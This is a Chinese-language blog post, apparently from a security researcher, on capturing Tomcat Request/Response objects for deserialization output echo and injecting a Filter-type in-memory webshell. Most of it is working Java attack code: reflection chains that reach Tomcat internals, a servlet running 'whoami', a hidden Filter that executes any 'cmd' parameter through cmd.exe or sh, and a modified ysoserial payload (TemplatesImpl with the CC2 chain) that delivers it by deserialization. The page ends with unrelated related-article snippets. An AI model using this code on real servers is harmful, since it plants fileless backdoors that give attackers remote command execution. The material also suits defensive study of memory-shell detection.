Java安全之反序列化回显与内存马

0x00 前言

按照我个人的理解来说其实只要能拿到Request Response对象即可进行回显的构造,当然这也是众多方式的一种。也是目前用的较多的方式。比如在Tomcat 全局存储的Request Response对象,进行获取后则可以在tomcat这个容器下进行回显。而某些漏洞的方式会从漏洞的位置去寻找存储Request Response对象的地方。

0x01 Tomcat通用回显

根据Litch1师傅的思路来寻找request,response对象全局存储的位置基于全局储存的新思路 | Tomcat的一种通用回显方法研究

根据该文章思路得知,在Tomcat启动的时候会调用该位置的dorun方法

由图可见,调用栈会来到创建Http11Processor对象这一步,Http11Processor继承AbstractProcessor类。而AbstractProcessor类中可见有RequestResponse这两对象。并且为final修饰的,赋值后不可被更改。

那么此时我们只需要获取到这个Http11Processor对象即可获取到RequestResponse。继续跟进查看Http11Processor对象在哪进行存储。

调用this.register将前面创建的Http11Processor对象进行传递。而后调用processor.getRequest().getRequestProcessor()获取RequestInfo

调用获取到的RequestInfo,这里为rp。rp的setGlobalProcessor将global进行传递,而setGlobalProcessor方法里面会调用global.addRequestProcessor将rp添加进去。

跟进进去发现,processors为一个ArrayList,里面存储RequestInfo类型的数据。

所以整体的思路下来我们需要获取AbstractProtocol$ConnectionHandler类 -> 获取global变量 ->RequestInfo->Request-->Response。

再往后需要寻找存储AbstractProtocol类或继承AbstractProtocol类的子类。

这里寻找到的是Connector成员变量中为protocolHandler属性的值,而 Http11AprProtocol类实现了该接口。

所以获取request的处理请求是

Connector--->AbstractProtocol$ConnectoinHandler--->global--->RequestInfo--->Request--->Response

而在Tomcat启动过程红会将Connector放入Service中。

而现在获取完成的流程是

StandardService--->Connector--->AbstractProtocol$ConnectoinHandler--->RequestGroupInfo(global)-->RequestInfo------->Request-------->Response

那么这时候如何获取StandardService成为了问题的一大关键。

文中给出的方法是从Thread.currentThread.getContextClassLoader()里面获取webappClassLoaderBase,再获取上下文中的 StandardService

最后调用链为

WebappClassLoaderBase --->

ApplicationContext(getResources().getContext()) ---> StandardService--->Connector--->AbstractProtocol$ConnectoinHandler--->RequestGroupInfo(global)--->RequestInfo------->Request-------->Response

package com;

import org.apache.catalina.Context;
import org.apache.catalina.Service;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.coyote.AbstractProtocol;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.coyote.Response; import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Modifier;
import java.util.ArrayList; @WebServlet("/demoServlet")
public class demoServlet extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); try {
Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
context.setAccessible(true);
ApplicationContext ApplicationContext = (ApplicationContext)context.get(standardContext);
Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
service.setAccessible(true);
StandardService standardService = (StandardService)service.get(ApplicationContext);
Field connectors = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
connectors.setAccessible(true);
Connector[] connector = (Connector[])connectors.get(standardService);
Field protocolHandler = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("protocolHandler");
protocolHandler.setAccessible(true);
// AbstractProtocol abstractProtocol = (AbstractProtocol)protocolHandler.get(connector[0]); Class<?>[] AbstractProtocol_list = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredClasses(); for (Class<?> aClass : AbstractProtocol_list) {
if (aClass.getName().length()==52){ java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
getHandlerMethod.setAccessible(true); Field globalField = aClass.getDeclaredField("global");
globalField.setAccessible(true);
org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(connector[0].getProtocolHandler(), null));
Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processors.setAccessible(true);
java.util.List<RequestInfo> RequestInfo_list = (java.util.List<RequestInfo>) processors.get(requestGroupInfo);
Field req = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
req.setAccessible(true);
for (RequestInfo requestInfo : RequestInfo_list) { org.apache.coyote.Request request1 = (org.apache.coyote.Request )req.get(requestInfo); org.apache.catalina.connector.Request request2 = ( org.apache.catalina.connector.Request)request1.getNote(1);
org.apache.catalina.connector.Response response2 = request2.getResponse();
response2.getWriter().write("111"); }
}
} } catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} } protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}
}

这里是借助了获取到的RequestResponse来输出结果。再来修改一下代码。

package com;

import org.apache.catalina.Context;
import org.apache.catalina.Service;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.coyote.AbstractProtocol;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.coyote.Response; import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Modifier;
import java.util.ArrayList; @WebServlet("/demoServlet")
public class demoServlet extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); try {
Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
context.setAccessible(true);
ApplicationContext ApplicationContext = (ApplicationContext)context.get(standardContext);
Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
service.setAccessible(true);
StandardService standardService = (StandardService)service.get(ApplicationContext);
Field connectors = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
connectors.setAccessible(true);
Connector[] connector = (Connector[])connectors.get(standardService);
Field protocolHandler = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("protocolHandler");
protocolHandler.setAccessible(true);
// AbstractProtocol abstractProtocol = (AbstractProtocol)protocolHandler.get(connector[0]); Class<?>[] AbstractProtocol_list = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredClasses(); for (Class<?> aClass : AbstractProtocol_list) {
if (aClass.getName().length()==52){ java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
getHandlerMethod.setAccessible(true); Field globalField = aClass.getDeclaredField("global");
globalField.setAccessible(true);
org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(connector[0].getProtocolHandler(), null));
Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processors.setAccessible(true);
java.util.List<RequestInfo> RequestInfo_list = (java.util.List<RequestInfo>) processors.get(requestGroupInfo);
Field req = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
req.setAccessible(true);
for (RequestInfo requestInfo : RequestInfo_list) { org.apache.coyote.Request request1 = (org.apache.coyote.Request )req.get(requestInfo); org.apache.catalina.connector.Request request2 = ( org.apache.catalina.connector.Request)request1.getNote(1);
org.apache.catalina.connector.Response response2 = request2.getResponse();
response2.getWriter().write("111");
InputStream whoami = Runtime.getRuntime().exec("whoami").getInputStream();
// BufferedInputStream bufferedInputStream = new BufferedInputStream(whoami); BufferedInputStream bis = new BufferedInputStream(whoami); int b ;
while ((b = bis.read())!=-1){
response2.getWriter().write(b);
} }
}
} } catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} } protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}
}

将命令执行结果使用获取到的RequestResponse来输出。

坑点记录

  1. 开始想直接获取内部类发现思路不通,后来采用getDeclaredClasses方法获取某类中所有内部的内部类遍历,判断类名传递定位到该类。
  2. 获取global遍历的时候出现了巨坑,直接反射去获取。但是未意识到创建是一个class对象,反射使用get方法必须传递实例。
  3. 获取到Request需要调用request.getNote(1);转换为org.apache.catalina.connector.Request的对象。
  4. fanal修饰变量,需做修改,直接获取报错。
通过调用 org.apache.coyote.Request#getNote(ADAPTER_NOTES) 和 org.apache.coyote.Response#getNote(ADAPTER_NOTES) 来获取 org.apache.catalina.connector.Request 和 org.apache.catalina.connector.Response 对象

文章链接

0x02 Tomcat半通用回显

基于Tomcat中一种半通用回显方法该篇文来调试一下。

根据前文思路顺着堆栈一路向下查看Request和Response存储位置,只要获取到一个实例即可。

顺着思路,在org.apache.catalina.core.ApplicationFilterChain位置发现符合条件的变量。

下面寻找赋值位置,发现在这个位置对request,response进行实例的存储。但是默认为False

思路如下:

1、反射修改ApplicationDispatcher.WRAP_SAME_OBJECT,让代码逻辑走到if条件里面

2、初始化lastServicedRequestlastServicedResponse两个变量,默认为null

3、从lastServicedResponse中获取当前请求response,并且回显内容。

自己尝试构造了一下

package com;

import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier; @WebServlet("/testServlet")
public class testServlet extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) {
try {
Field wrap_same_object = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequest = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedRequest");
Field lastServicedResponse = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedResponse");
lastServicedRequest.setAccessible(true);
lastServicedResponse.setAccessible(true);
wrap_same_object.setAccessible(true);
//修改final
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(wrap_same_object, wrap_same_object.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL); boolean wrap_same_object1 = wrap_same_object.getBoolean(null);
ThreadLocal<ServletRequest> requestThreadLocal = (ThreadLocal<ServletRequest>)lastServicedRequest.get(null);
ThreadLocal<ServletResponse> responseThreadLocal = (ThreadLocal<ServletResponse>)lastServicedResponse.get(null); wrap_same_object.setBoolean(null,true);
lastServicedRequest.set(null,new ThreadLocal<>());
lastServicedResponse.set(null,new ThreadLocal<>());
ServletResponse servletResponse = responseThreadLocal.get();
servletResponse.getWriter().write("111"); } catch (Exception e) {
e.printStackTrace();
}
} protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response); }
}

同理,可集成到yso中,反序列化命令执行结果借助该servletResponse。

局限

在shiro反序列化漏洞的利用中并不能成功,发现request,response的设置是在漏洞触发点之后,所以在触发漏洞执行任意java代码时获取不到我们想要的response。其原因是因为rememberMe功能的实现是使用了自己实现的filter。

0x03 内存马构造

前文的基于Tomcat实现内存马中只是借助Servlet直接去进行动态添加Filter实现内存马。而实际当中还是需要借助反序列化点来直接打入内存马。

下面再来构造一个完整的。

获取到ApplicationContext调用addFilter方法直接将恶意Filter添加进去发现并不行。

ApplicationContext.addFilter(filterName,new ShellIntInject());

断点处进行了判断,条件为true,会直接抛出异常。而这时候可以借助反射去进行修改。

Field state = Class.forName("org.apache.catalina.util.LifecycleBase").getDeclaredField("state");
state.setAccessible(true);
state.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);

修改完成后,再来看到addFilter中,this.context.findFilterDef也就是寻找StandardContext中的filterDef,所以我们需要添加到filterConfigs filterDefs filterMaps

在添加filter前,通过反射设置成LifecycleState.STARTING_PREP,添加完成后,再把其恢复成LifecycleState.STARTE,需要恢复,否则可能导致服务不可用。

//添加拦截路径,实现是将存储写入到filterMap中
registration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{"/*"});

后面再来看到StandardContextfilterStart方法会遍历所有filterDefs实例化ApplicationFilterConfig添加到filterConfigs中

this.filterConfigs.clear();
Iterator i$ = this.filterDefs.entrySet().iterator();
while(i$.hasNext()) {
Entry<String, FilterDef> entry = (Entry)i$.next();
String name = (String)entry.getKey();
if (this.getLogger().isDebugEnabled()) {
this.getLogger().debug(" Starting filter '" + name + "'");
} try {
ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, (FilterDef)entry.getValue());
this.filterConfigs.put(name, filterConfig);
} catch (Throwable var8) {
Throwable t = ExceptionUtils.unwrapInvocationTargetException(var8);
ExceptionUtils.handleThrowable(t);
this.getLogger().error(sm.getString("standardContext.filterStart", new Object[]{name}), t);
ok = false;
}
}
return ok;
}
}

前面我们的调用addfilter方法的时候已经将 对应的filterDef给添加进去,我们只需要调用该方法即可实现filterConfig的添加。

 //调用filterStart方法将filterconfig进行添加
Method filterStart = Class.forName("org.apache.catalina.core.StandardContext").getMethod("filterStart");
filterStart.setAccessible(true);
filterStart.invoke(standardContext,null);

最后,需要将filter位置进行调整。

在调试中途,部分代码抛出异常并没有直接执行state.set(standardContext,org.apache.catalina.LifecycleState.STARTED);会导致tomcat直接503。无法进行正常访问,需重启。

完整代码

package com;

import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterMap; import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier; @WebServlet("/testServlet")
public class testServlet extends HttpServlet {
private final String cmdParamName = "cmd";
private final static String filterUrlPattern = "/*";
private final static String filterName = "cmdFilter"; protected void doPost(HttpServletRequest request, HttpServletResponse response) {
try {
Field wrap_same_object = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequest = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedRequest");
Field lastServicedResponse = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedResponse");
lastServicedRequest.setAccessible(true);
lastServicedResponse.setAccessible(true);
wrap_same_object.setAccessible(true);
//修改final
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(wrap_same_object, wrap_same_object.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL); boolean wrap_same_object1 = wrap_same_object.getBoolean(null);
ThreadLocal<ServletRequest> requestThreadLocal = (ThreadLocal<ServletRequest>)lastServicedRequest.get(null);
ThreadLocal<ServletResponse> responseThreadLocal = (ThreadLocal<ServletResponse>)lastServicedResponse.get(null); wrap_same_object.setBoolean(null,true);
lastServicedRequest.set(null,new ThreadLocal<>());
lastServicedResponse.set(null,new ThreadLocal<>());
ServletResponse servletResponse = responseThreadLocal.get();
ServletRequest servletRequest = requestThreadLocal.get();
ServletContext servletContext = servletRequest.getServletContext(); //这里实际获取到的是ApplicationContextFacade
if (servletContext!=null) {
//编写恶意Filter
class ShellIntInject implements javax.servlet.Filter{ @Override
public void init(FilterConfig filterConfig) throws ServletException { } @Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("s");
String cmd = servletRequest.getParameter(cmdParamName);
if(cmd!=null) {
String[] cmds = null; if (System.getProperty("os.name").toLowerCase().contains("win")) {
cmds = new String[]{"cmd.exe", "/c", cmd};
} else {
cmds = new String[]{"sh", "-c", cmd};
} java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
java.io.Writer writer = servletResponse.getWriter();
writer.write(output);
writer.flush();
writer.close();
}
filterChain.doFilter(request, response);
} @Override
public void destroy() { }
}
//获取ApplicationContext
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
ApplicationContext ApplicationContext = (ApplicationContext)context.get(servletContext);
//获取standardContext
Field context1 = ApplicationContext.getClass().getDeclaredField("context");
context1.setAccessible(true);
StandardContext standardContext = (StandardContext) context1.get(ApplicationContext);
//获取LifecycleBase的state修改为org.apache.catalina.LifecycleState.STARTING_PREP
Field state = Class.forName("org.apache.catalina.util.LifecycleBase").getDeclaredField("state");
state.setAccessible(true);
state.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);
//注册filterName
FilterRegistration.Dynamic registration = ApplicationContext.addFilter(filterName, new ShellIntInject());
//添加拦截路径,实现是将存储写入到filterMap中
registration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{"/*"});
//调用filterStart方法将filterconfig进行添加
Method filterStart = Class.forName("org.apache.catalina.core.StandardContext").getMethod("filterStart");
filterStart.setAccessible(true);
filterStart.invoke(standardContext,null);
//移动filter为位置到前面
FilterMap[] filterMaps = standardContext.findFilterMaps();
for (int i = 0; i < filterMaps.length; i++) {
if (filterMaps[i].getFilterName().equalsIgnoreCase(filterName)) {
org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i];
filterMaps[i] = filterMaps[0];
filterMaps[0] = filterMap;
break;
}
}
servletResponse.getWriter().write("Success");
state.set(standardContext,org.apache.catalina.LifecycleState.STARTED); } } catch (Exception e) {
e.printStackTrace();
} } protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response); }
}

但这并未完,虽然我们借助了代码执行获取到RequestResponse后构造内存马。但是仍需要修改代码,将代码集成到yso中后,以供反序列化攻击使用。

0x04 改造yso

将前面代码扣下来,并且继承AbstractTranslet,后面需要使用TemplatesImpl类去动态加载该类。

package ysoserial.exploit;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterMap; import javax.servlet.*;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier; public class TomcatShellIntInject extends AbstractTranslet {
private final static String cmdParamName = "cmd";
private final static String filterUrlPattern = "/*";
private final static String filterName = "cmdFilter"; static {
try {
Field wrap_same_object = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequest = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedRequest");
Field lastServicedResponse = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedResponse");
lastServicedRequest.setAccessible(true);
lastServicedResponse.setAccessible(true);
wrap_same_object.setAccessible(true);
//修改final
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(wrap_same_object, wrap_same_object.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL); boolean wrap_same_object1 = wrap_same_object.getBoolean(null);
ThreadLocal<ServletRequest> requestThreadLocal = (ThreadLocal<ServletRequest>) lastServicedRequest.get(null);
ThreadLocal<ServletResponse> responseThreadLocal = (ThreadLocal<ServletResponse>) lastServicedResponse.get(null); wrap_same_object.setBoolean(null, true);
lastServicedRequest.set(null, new ThreadLocal<ServletRequest>());
lastServicedResponse.set(null, new ThreadLocal<ServletResponse>());
ServletResponse servletResponse = responseThreadLocal.get();
ServletRequest servletRequest = requestThreadLocal.get();
ServletContext servletContext = servletRequest.getServletContext(); //这里实际获取到的是ApplicationContextFacade
if (servletContext != null) {
//编写恶意Filter
class ShellIntInject implements Filter { @Override
public void init(FilterConfig filterConfig) throws ServletException { } @Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { String cmd = servletRequest.getParameter(cmdParamName);
if (cmd != null) {
String[] cmds = null; if (System.getProperty("os.name").toLowerCase().contains("win")) {
cmds = new String[]{"cmd.exe", "/c", cmd};
} else {
cmds = new String[]{"sh", "-c", cmd};
} java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
java.io.Writer writer = servletResponse.getWriter();
writer.write(output);
writer.flush();
writer.close();
}
filterChain.doFilter(servletRequest, servletResponse);
} @Override
public void destroy() { }
}
//获取ApplicationContext
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
ApplicationContext ApplicationContext = (ApplicationContext) context.get(servletContext);
//获取standardContext
Field context1 = ApplicationContext.getClass().getDeclaredField("context");
context1.setAccessible(true);
StandardContext standardContext = (StandardContext) context1.get(ApplicationContext);
//获取LifecycleBase的state修改为org.apache.catalina.LifecycleState.STARTING_PREP
Field state = Class.forName("org.apache.catalina.util.LifecycleBase").getDeclaredField("state");
state.setAccessible(true);
state.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
//注册filterName
FilterRegistration.Dynamic registration = ApplicationContext.addFilter(filterName, new ShellIntInject());
//添加拦截路径,实现是将存储写入到filterMap中
registration.addMappingForUrlPatterns(java.util.EnumSet.of(DispatcherType.REQUEST), false, new String[]{filterUrlPattern});
//调用filterStart方法将filterconfig进行添加
Method filterStart = Class.forName("org.apache.catalina.core.StandardContext").getMethod("filterStart");
filterStart.setAccessible(true);
filterStart.invoke(standardContext, null);
//移动filter为位置到前面
FilterMap[] filterMaps = standardContext.findFilterMaps();
for (int i = 0; i < filterMaps.length; i++) {
if (filterMaps[i].getFilterName().equalsIgnoreCase(filterName)) {
org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i];
filterMaps[i] = filterMaps[0];
filterMaps[0] = filterMap;
break;
}
}
servletResponse.getWriter().write("Success");
state.set(standardContext, org.apache.catalina.LifecycleState.STARTED); } } catch (Exception e) {
e.printStackTrace();
} } @Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
}

yso中createTemplatesImpl稍做修改

public static Object createTemplatesImpl_shell ( final String command ) throws Exception {
if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
return createTemplatesImpl(
command,
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
} return createTemplatesImpl_shell(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
public static <T> T createTemplatesImpl_shell ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance(); // use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName()); final byte[] classBytes = ClassFiles.classAsBytes(TomcatShellIntInject.class);
// final byte[] classBytes = clazz.toBytecode(); // inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
}); // required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}

这里拿cc2链来测试,复制cc2链代码。将getObject方法修改

final Object templates = Gadgets.createTemplatesImpl_shell(command);

github:https://github.com/nice0e3/ysoserial-master

但实际并不能直接使用,因为需要该回显要先修改属性,然后再进行获取回显。可截取出来分为2个包去发送。

0x05 Reference

基于全局储存的新思路 | Tomcat的一种通用回显方法研究

Tomcat中一种半通用回显方法

基于tomcat的内存 Webshell 无文件攻击技术

Java Web代码执行漏洞回显总结

Shiro 550 漏洞学习 (二):内存马注入及回显

0x06 结尾

说到底,其实中间件回显就是获取Request Response对象,拿到以后借助拿到的Request Response对象进行回显,而内存马则是使用获取到的这两对象从而获取到Context进行动态添加Filter。而文中并没有去实现冰蝎等内存shell,而只实现了一个cmd的shell。同理,只需将恶意Fliter修改成冰蝎的shell即可。

Java安全之反序列化回显与内存马的更多相关文章

  1. Java安全之反序列化回显研究

    Java安全之反序列化回显研究 0x00 前言 续上文反序列化回显与内存马,继续来看看反序列化回显的方式.上篇文中其实是利用中间件中存储的Request 和Response对象来进行回显.但并不止这么 ...

  2. Java安全之挖掘回显链

    Java安全之挖掘回显链 0x00 前言 前文中叙述反序列化回显只是为了拿到Request和Response对象.在这里说的的回显链其实就是通过一连串反射代码获取到该Request对象. 在此之前想吹 ...

  3. 利用shiro反序列化注入冰蝎内存马

    利用shiro反序列化注入冰蝎内存马 文章首发先知社区:https://xz.aliyun.com/t/10696 一.shiro反序列化注入内存马 1)tomcat filter内存马 先来看一个普 ...

  4. java序列回显学习

    java反序列化回显 在很多不出网的情况下,一种是写webshell(内存嘛),另一种就是回显,本文先学习回显,回显的主要方式有一下几种. defineClass RMI绑定实例 URLClassLo ...

  5. Java安全之基于Tomcat实现内存马

    Java安全之基于Tomcat实现内存马 0x00 前言 在近年来红队行动中,基本上除了非必要情况,一般会选择打入内存马,然后再去连接.而落地Jsp文件也任意被设备给检测到,从而得到攻击路径,删除we ...

  6. Java Filter型内存马的学习与实践

    完全参考:https://www.cnblogs.com/nice0e3/p/14622879.html 这篇笔记,来源逗神的指点,让我去了解了内存马,这篇笔记记录的是filter类型的内存马 内存马 ...

  7. Java反序列化漏洞执行命令回显实现及Exploit下载

    原文地址:http://www.freebuf.com/tools/88908.html 本文原创作者:rebeyond 文中提及的部分技术.工具可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使 ...

  8. java反序列化提取payload之xray 高级版的shiro回显poc的提取过程

    本文中xray高级版shiro payload来源于雷石安全实验室公众号发布的shiroExploit.jar 感谢雷石安全实验室,雷石安全实验室牛逼 本文主要描述如何从shiro的payload中提 ...

  9. java图片上传及图片回显1

    目的:选择图片,进行图片回显之后将图片保存到服务器上(PS:没有使用任何插件,样式很丑) 实现方式: js+servlet+jsp的方式来实现 事先准备: 文件上传处理在浏览器中是以流的形式提交到服务 ...

随机推荐

  1. Visual Lab Online —— Beta版本发布声明

    项目 内容 班级:北航2020春软件工程 博客园班级博客 作业:Beta阶段发布声明 发布声明 目录 发布方式.发布地址与运行环境要求 软件主体 浏览器扩展 Beta版本新功能 登录注册页 注册时邮箱 ...

  2. BUAAOO第四单元总结与学期回顾

    第四单元架构设计 第四单元要完成的是对给定UML元素的建模/统计/分析,考虑到UML元素的组织是树状的,很容易想到基于树状的数据结构完成 由于UML元素已经由官方接口给出,因此结点类采用wrapper ...

  3. SprintBoot使用Validation

    1.为什么要使用Validation 在开发过程中有没有使用一堆的if来判断字段是否为空.电话号码是否正确.某个输入是否符合长度等对字段的判断.这样的代码可读性差,而且还不美观,那么使用Validat ...

  4. 反向解析 参数替换 reverse

  5. 使用 vue3 的自定义指令给 element-plus 的 el-dialog 增加拖拽功能

    element-plus 提供的 el-dialog 对话框功能非常强大,只是美中不足不能通过拖拽的方式改变位置,有点小遗憾,那么怎么办呢?我们可以通过 vue 的自定义指令来实现一个可以拖拽的对话框 ...

  6. systemctl list-unit-files

    [CentOS]centos7上查看服务开机启动列表 systemctl list-unit-files centos7上查看服务开机启动列表 命令: systemctl list-unit-file ...

  7. who -b

